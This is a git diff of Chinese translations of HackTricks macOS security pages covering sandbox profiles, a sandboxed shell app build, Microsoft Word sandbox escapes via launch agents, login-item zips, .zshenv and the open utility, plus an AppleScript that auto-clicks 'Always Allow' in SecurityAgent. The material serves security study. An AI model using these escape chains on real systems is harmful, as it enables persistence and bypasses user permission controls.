+* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)(他们能够写入以 `~$` 开头的沙箱外文件)。
### MacOS 沙箱配置文件
-macOS将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/** 和 **/System/Library/Sandbox/Profiles**。
+macOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/** 和 **/System/Library/Sandbox/Profiles**。
-如果第三方应用程序携带了 _**com.apple.security.app-sandbox**_ 权限,系统将应用 **/System/Library/Sandbox/Profiles/application.sb** 配置文件到该进程。
+如果第三方应用程序携带 _**com.apple.security.app-sandbox**_ 权限,系统会将 **/System/Library/Sandbox/Profiles/application.sb** 配置文件应用于该进程。
### **iOS 沙箱配置文件**
-默认配置文件名为 **container**,我们没有SBPL文本表示。在内存中,此沙箱被表示为每个权限的允许/拒绝二进制树。
+默认配置文件称为 **container**,我们没有 SBPL 文本表示。在内存中,这个沙箱被表示为每个权限的允许/拒绝二叉树。
-### 调试和绕过沙箱
+### 调试与绕过沙箱
-在macOS上,与iOS不同,进程必须自行选择加入沙箱。这意味着在macOS上,进程在主动决定进入沙箱之前不受沙箱限制。
+在 macOS 上,与 iOS 不同,iOS 的进程从一开始就由内核进行沙箱化,**进程必须自行选择进入沙箱**。这意味着在 macOS 上,进程在主动决定进入沙箱之前不会受到沙箱的限制。
-如果进程具有权限:`com.apple.security.app-sandbox`,则在启动时从用户空间自动将进程置于沙箱中。有关此过程的详细解释,请查看:
+如果进程具有权限 `com.apple.security.app-sandbox`,则它们在启动时会自动从用户空间沙箱化。有关此过程的详细说明,请查看:
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
@@ -240,20 +241,20 @@ macOS将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/**
### **检查 PID 权限**
-[**根据此**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s),**`sandbox_check`**(它是一个`__mac_syscall`)可以检查在特定PID中沙箱是否允许执行某个操作。
+[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s),**`sandbox_check`**(它是一个 `__mac_syscall`)可以检查 **某个 PID 是否允许某个操作**。
-[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) 可以检查PID是否可以执行某个操作:
+[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) 可以检查某个 PID 是否可以执行某个操作:
```bash
sbtool mach #Check mac-ports (got from launchd with an api)
sbtool file /tmp #Check file access
sbtool inspect #Gives you an explaination of the sandbox profile
sbtool all
```
-### 在App Store应用程序中使用自定义SBPL
+### App Store 应用中的自定义 SBPL
-公司可以使他们的应用程序运行**使用自定义沙盒配置文件**(而不是默认配置文件)。他们需要使用授权的entitlement **`com.apple.security.temporary-exception.sbpl`**,这需要获得苹果的授权。
+公司可能会使他们的应用程序 **使用自定义沙盒配置文件**(而不是默认配置文件)。他们需要使用权限 **`com.apple.security.temporary-exception.sbpl`**,该权限需要得到 Apple 的授权。
-可以在**`/System/Library/Sandbox/Profiles/application.sb:`**中检查此entitlement的定义。
+可以在 **`/System/Library/Sandbox/Profiles/application.sb:`** 中检查此权限的定义。
```scheme
(sandbox-array-entitlement
"com.apple.security.temporary-exception.sbpl"
@@ -261,18 +262,19 @@ sbtool all
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
-这将**评估此授权后的字符串**作为沙箱配置文件。
+这将**在此权限后评估字符串**作为沙盒配置文件。
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md
index c2e01fded..d12e52276 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md
@@ -1,22 +1,21 @@
-# macOS Default Sandbox Debug
+# macOS 默认沙箱调试
-## macOS默认沙箱调试
+{% hint style="success" %}
+学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %}
-在本页面中,您可以找到如何创建一个应用程序,从默认的macOS沙箱中启动任意命令:
+在此页面中,您可以找到如何创建一个应用程序以从默认 macOS 沙箱内部启动任意命令:
1. 编译应用程序:
@@ -52,10 +51,9 @@ return 0;
```
{% endcode %}
-运行以下命令进行编译:`clang -framework Foundation -o SandboxedShellApp main.m`
-
-2. 构建 `.app` bundle
+编译运行: `clang -framework Foundation -o SandboxedShellApp main.m`
+2. 构建 `.app` 包
```bash
mkdir -p SandboxedShellApp.app/Contents/MacOS
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
@@ -77,9 +75,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
EOF
```
+3. 定义权限
-3. 定义授权
-
+{% tabs %}
+{% tab title="sandbox" %}
```bash
cat << EOF > entitlements.plist
@@ -92,25 +91,45 @@ cat << EOF > entitlements.plist
EOF
```
+{% endtab %}
-\`\`\`bash cat << EOF > entitlements.plist com.apple.security.app-sandbox com.apple.security.files.downloads.read-write EOF \`\`\` 4. 对应用程序进行签名(您需要在钥匙串中创建一个证书) \`\`\`bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
-
-## An d in case you need this in the future
-
-codesign --remove-signature SandboxedShellApp.app
-
+{% tab title="沙箱 + 下载" %}
+```bash
+cat << EOF > entitlements.plist
+
+
+
+
+com.apple.security.app-sandbox
+
+com.apple.security.files.downloads.read-write
+
+
+
+EOF
```
+{% endtab %}
+{% endtabs %}
+
+4. 签署应用程序(您需要在钥匙串中创建一个证书)
+```bash
+codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
+./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
+
+# An d in case you need this in the future
+codesign --remove-signature SandboxedShellApp.app
+```
+{% hint style="success" %}
+学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-其他支持HackTricks的方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
-```
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md
index 7476131e1..29fceff49 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md
@@ -1,76 +1,78 @@
# macOS Office Sandbox Bypasses
-
-
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
-
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
-
-
-
-### 通过启动代理绕过Word沙箱
-
-该应用程序使用一个**自定义沙箱**,使用权限**`com.apple.security.temporary-exception.sbpl`**,这个自定义沙箱允许在文件名以`~$`开头时在任何地方写入文件:`(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
-
-因此,绕过很容易,只需在`~/Library/LaunchAgents/~$escape.plist`中编写一个`plist`启动代理。
-
-查看[**原始报告**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)。
-
-### 通过登录项和zip绕过Word沙箱
-
-请记住,从第一个逃逸开始,Word可以写入任意以`~$`开头的文件,尽管在修补了先前漏洞之后,无法在`/Library/Application Scripts`或`/Library/LaunchAgents`中写入。
-
-在沙箱内发现可以创建一个**登录项**(用户登录时将执行的应用程序)。但是,这些应用程序**不会执行**,除非它们经过**公证**,并且**无法添加参数**(因此无法使用**`bash`**运行反向shell)。
-
-从先前的沙箱绕过中,Microsoft禁用了在`~/Library/LaunchAgents`中写入文件的选项。但是,发现如果将**zip文件作为登录项**,`Archive Utility`将只是在当前位置解压缩它。因此,由于默认情况下`~/Library`中的`LaunchAgents`文件夹未创建,可以**在`~/Library`中压缩一个plist文件`LaunchAgents/~$escape.plist`**,并将zip文件放在**`~/Library`**中,因此在解压缩时将到达持久性目的地。
-
-查看[**原始报告**](https://objective-see.org/blog/blog_0x4B.html)。
-
-### 通过登录项和.zshenv绕过Word沙箱
-
-(请记住,从第一个逃逸开始,Word可以写入任意以`~$`开头的文件)。
-
-然而,先前的技术有一个限制,如果文件夹**`~/Library/LaunchAgents`**存在,因为其他软件创建了它,它将失败。因此,为此发现了不同的登录项链。
-
-攻击者可以创建带有执行负载的文件**`.bash_profile`**和**`.zshenv`**,然后将它们压缩并将zip文件写入受害者的用户文件夹:**`~/~$escape.zip`**。
-
-然后,将zip文件添加到**登录项**,然后添加**`Terminal`**应用程序。当用户重新登录时,zip文件将解压缩到用户文件中,覆盖**`.bash_profile`**和**`.zshenv`**,因此终端将执行其中一个文件(取决于使用的是bash还是zsh)。
-
-查看[**原始报告**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)。
-
-### 使用Open和环境变量绕过Word沙箱
-
-从沙箱化进程仍然可以使用**`open`**实用程序调用其他进程。此外,这些进程将在其自己的沙箱中运行。
-
-发现`open`实用程序具有**`--env`**选项,用于使用**特定环境**变量运行应用程序。因此,可以在**沙箱内的文件夹中创建`.zshenv`文件**,然后使用`open`设置**`HOME`变量**到该文件夹,打开`Terminal`应用程序,该应用程序将执行`.zshenv`文件(由于某种原因,还需要设置变量`__OSINSTALL_ENVIROMENT`)。
-
-查看[**原始报告**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)。
-
-### 使用Open和stdin绕过Word沙箱
-
-**`open`**实用程序还支持**`--stdin`**参数(在先前的绕过之后,无法再使用`--env`)。
-
-问题在于,即使**`python`**由Apple签名,它也**不会执行**带有**`quarantine`**属性的脚本。但是,可以将脚本从stdin传递给它,因此它不会检查它是否被隔离:
-
-1. 放置一个带有任意Python命令的**`~$exploit.py`**文件。
-2. 运行_open_ **`–stdin='~$exploit.py' -a Python`**,这将使用我们放置的文件作为其标准输入运行Python应用程序。Python愉快地运行我们的代码,并且由于它是_launchd_的子进程,它不受Word沙箱规则的约束。
+{% hint style="success" %}
+学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %}
+
+### Word Sandbox 通过 Launch Agents 绕过
+
+该应用程序使用 **自定义沙箱**,使用权限 **`com.apple.security.temporary-exception.sbpl`**,此自定义沙箱允许在任何地方写入文件,只要文件名以 `~$` 开头:`(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
+
+因此,逃逸的方式就是 **在 `~/Library/LaunchAgents/~$escape.plist` 中写入一个 `plist`** 启动代理。
+
+查看 [**原始报告**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)。
+
+### Word Sandbox 通过登录项和 zip 绕过
+
+请记住,从第一次逃逸开始,Word 可以写入以 `~$` 开头的任意文件,尽管在之前漏洞的修补后,无法在 `/Library/Application Scripts` 或 `/Library/LaunchAgents` 中写入。
+
+发现从沙箱内可以创建 **登录项**(用户登录时将执行的应用程序)。但是,这些应用程序 **不会执行,除非** 它们 **经过公证**,并且 **无法添加参数**(因此不能仅使用 **`bash`** 运行反向 shell)。
+
+在之前的沙箱绕过中,微软禁用了在 `~/Library/LaunchAgents` 中写入文件的选项。然而,发现如果将 **zip 文件作为登录项**,`Archive Utility` 将会 **解压** 到其当前位置。因此,由于默认情况下 `~/Library` 中不会创建 `LaunchAgents` 文件夹,可以 **将 plist 压缩到 `LaunchAgents/~$escape.plist` 中**,并 **将 zip 文件放置在 `~/Library` 中**,这样解压时将到达持久性目标。
+
+查看 [**原始报告**](https://objective-see.org/blog/blog\_0x4B.html)。
+
+### Word Sandbox 通过登录项和 .zshenv 绕过
+
+(请记住,从第一次逃逸开始,Word 可以写入以 `~$` 开头的任意文件)。
+
+然而,之前的技术有一个限制,如果 **`~/Library/LaunchAgents`** 文件夹存在,因为其他软件创建了它,则会失败。因此,发现了一个不同的登录项链。
+
+攻击者可以创建 **`.bash_profile`** 和 **`.zshenv`** 文件,包含要执行的有效载荷,然后将它们压缩并 **写入受害者** 的用户文件夹:**`~/~$escape.zip`**。
+
+然后,将 zip 文件添加到 **登录项**,然后是 **`Terminal`** 应用程序。当用户重新登录时,zip 文件将被解压到用户文件中,覆盖 **`.bash_profile`** 和 **`.zshenv`**,因此,终端将执行其中一个文件(取决于使用的是 bash 还是 zsh)。
+
+查看 [**原始报告**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)。
+
+### Word Sandbox 通过 Open 和 env 变量绕过
+
+从沙箱进程中,仍然可以使用 **`open`** 工具调用其他进程。此外,这些进程将在 **自己的沙箱** 中运行。
+
+发现 open 工具具有 **`--env`** 选项,可以使用 **特定的 env** 变量运行应用程序。因此,可以在 **沙箱内** 的文件夹中创建 **`.zshenv` 文件**,并使用 `open` 和 `--env` 将 **`HOME` 变量** 设置为该文件夹,打开 `Terminal` 应用程序,这将执行 `.zshenv` 文件(出于某种原因,还需要设置变量 `__OSINSTALL_ENVIROMENT`)。
+
+查看 [**原始报告**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)。
+
+### Word Sandbox 通过 Open 和 stdin 绕过
+
+**`open`** 工具还支持 **`--stdin`** 参数(在之前的绕过后,无法再使用 `--env`)。
+
+问题是,即使 **`python`** 是由 Apple 签名的,它也 **不会执行** 带有 **`quarantine`** 属性的脚本。然而,可以通过 stdin 传递脚本,这样就不会检查它是否被隔离:
+
+1. 放置一个 **`~$exploit.py`** 文件,包含任意 Python 命令。
+2. 运行 _open_ **`–stdin='~$exploit.py' -a Python`**,这将使用我们放置的文件作为标准输入运行 Python 应用程序。Python 高兴地运行我们的代码,并且由于它是 _launchd_ 的子进程,因此不受 Word 沙箱规则的限制。
+
+{% hint style="success" %}
+学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+支持 HackTricks
+
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+
+
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md
index b40e14064..31ef71ef2 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md
@@ -1,34 +1,35 @@
-# macOS苹果脚本
+# macOS Apple Scripts
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+Support HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## 苹果脚本
+## Apple Scripts
-这是一种用于任务自动化的脚本语言,**与远程进程进行交互**。它可以很容易地**要求其他进程执行某些操作**。**恶意软件**可能会滥用这些功能来滥用其他进程导出的功能。\
-例如,恶意软件可以**在打开的浏览器页面中注入任意JS代码**。或者**自动点击**用户请求的权限允许。
+这是一种用于任务自动化的脚本语言,**与远程进程交互**。它使得**请求其他进程执行某些操作**变得相当简单。**恶意软件**可能会滥用这些功能,以利用其他进程导出的功能。\
+例如,恶意软件可以**在浏览器打开的页面中注入任意的JS代码**。或者**自动点击**用户请求的某些允许权限;
```applescript
tell window 1 of process "SecurityAgent"
click button "Always Allow" of group 1
end tell
```
-以下是一些示例:[https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
-查找有关使用AppleScripts的恶意软件的更多信息[**在这里**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)。
+这里有一些示例: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
+有关使用苹果脚本的恶意软件的更多信息 [**在这里**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)。
-Apple脚本可能很容易被“**编译**”。这些版本可以很容易地通过`osadecompile`进行“**反编译**”。
+苹果脚本可以很容易地 "**编译**"。这些版本可以通过 `osadecompile` 很容易地 "**反编译**"。
-然而,这些脚本也可以被导出为“只读”(通过“导出...”选项):
+然而,这些脚本也可以 **导出为“只读”**(通过“导出...”选项):
```
@@ -37,18 +38,19 @@ mal.scpt: AppleScript compiled
```
在这种情况下,即使使用 `osadecompile` 也无法反编译内容。
-然而,仍然有一些工具可以用来理解这种可执行文件,[**阅读此研究以获取更多信息**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)。工具 [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) 与 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) 将非常有用,以了解脚本的工作原理。
+然而,仍然有一些工具可以用来理解这种可执行文件,[**阅读这项研究以获取更多信息**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)。工具 [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) 和 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) 将非常有助于理解脚本的工作原理。
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
+支持 HackTricks
-支持 HackTricks 的其他方式:
-
-* 如果您想看到您的 **公司在 HackTricks 中被广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
-* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
-* 通过向 **HackTricks** 和 **HackTricks Cloud** github 仓库提交 PR 来 **分享您的黑客技巧**。
+* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md
index e43043141..861d122f0 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md
@@ -1,26 +1,27 @@
-# macOS TCC 负载
+# macOS TCC Payloads
+
+{% hint style="success" %}
+学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
+支持 HackTricks
-支持 HackTricks 的其他方式:
-
-* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
-* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
